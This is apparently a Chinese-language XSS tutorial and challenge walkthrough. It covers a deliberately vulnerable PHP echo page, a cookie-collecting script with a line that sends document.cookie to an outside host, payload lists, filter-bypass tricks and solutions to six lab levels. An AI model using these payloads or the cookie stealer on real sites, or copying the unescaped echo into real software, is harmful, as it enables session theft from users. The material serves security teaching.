一.XSS
1.原理:攻击者把恶意的脚本代码注入到网页中,等待其他用户浏览
这些网页(或触发其他条件),从而执行其中的恶意代码。
1.xss实例代码:
test.html
<!DOCTYPE html>
<head>
<title>xss_test</title>
</head>
<body>
<form action="xss.php" method="post">
请输入你的名字<br>
<input type="text" name="name">
<input type="submit" value="提交">
</form>
</body>
</html>
xss.php
<!DOCTYPE html>
<head>
<meta charset="utf-8">
<title>测试结果</title>
</head>
<body>
<?php
echo $_POST['name'];
?>
</body>
</html>
获得cookie 脚本
cookie.php
<?php
$cookie = $_GET['cookie']."\n";
$cookie_f = fopen('cookie.txt','a');
fwrite($cookie_f,$cookie);
fclose($cookie_f);
?>
xss.js
<script>window.open('http://www.test.com/cookie.php?cookie='+document.cookie)</script>
xss分为3类
反射型xss
存储型xss
dom型xss
2.xss的payload
<!-- 基本类型-->
<script >alert('xss')</script>
<script >alert("xss")</script>
<script >alert(/xss/)</script>
<script >alert('xss');</script>
<!-- 利用javascript伪协议 -->
<iframe src=javascript:alert('xss') ></iframe>
---------------------------------
<a href=javascript:alert('xss')>
<!-- 利用基本事件 -->
<img src="x" onerror= alert('xss')> //图片未找到
<img src="x" onload= alert('xss')> //图片正常显示
<img src="x" onclick= alert('xss')>
事件 | 含义 |
---|---|
onclick | 鼠标单击 |
onchange | 内容发生改变 |
onerror | 图片等未找到时 |
onload | 页面加载 |
onmouseover | 鼠标悬停 |
onmouseout | 鼠标移出 |
onmousemove | 鼠标路过 |
onchange 用在 input 标签
<input type="text" onchange=alert('xss')>
3.xss 的一些绕过
--标签的属性支持javascript:[code]伪协议
利用空字符
常用字符:【空格】【回车】【Tab】键位符
应用场景:对JavaScript关键字过了过滤
-- 扰乱过滤规则
1)大小写混合
<sCRipt>alert('xss')</script>
2)引号的使用
<script>alert('xss')</script>
<script>alert("xss")</script>
<script>alert(/xss/)</script>
3)<iframe/src=javascript:alert(1)>
4)双写
<scr<script>ipt>alert(1111)</scr</script>ipt>
二.实战xss挑战之旅
1.第一题(无过滤措施)
首先在地址后输入我们最基本的payload,弹窗
还可以
利用 iframe 标签的的 src 属性来弹窗
<iframe src=javascript:alert('xss')></iframe>
利用标签的 href 属性来弹窗
<a href=javascript:alert('xss')>ggtest</a>
这里就是超链接到了:javascript:alert('xss')
效果和浏览器直接打开这个地址:javascript:alert('xss')是一样的
这里还可以使用:javascript:alert(document.cookie) 来弹出当前会话的 cookie
img标签来弹窗
<img src=1 onerror=alert('xss')>
2.第二题
在次尝试输入基本的payload,看到没有
右键查看源代码,搜索我们刚输入的东西,看过滤了什么
呗代码复制出来,构造payload,在input 标签里,首先想到onchange事件
<input name=keyword value="<script >alert('xss')</script>">
" onchange =alert(111) <"
还可以
"><script>alert(222)</script> <"
3.第三关
一样操作,看源代码,构造payload
过滤了尖括号
" onchange=alert(1111) /<"
' onchange='alert(/111/)
4.第四关
<input name=keyword value="111">
" onchange=alert(555)<"
5.第五关
过滤了script
还过滤了on事件
只能利用javascript伪协议
"><a href=javascript:alert(111)>
6.第六关
基本全过滤
尝试大小写绕过
"><img sRc=x onError="alert(/xss/)
这样还不行,看源码,on过滤,试了一下on大写,成功
"><img sRc=x OnError="alert(/xss/)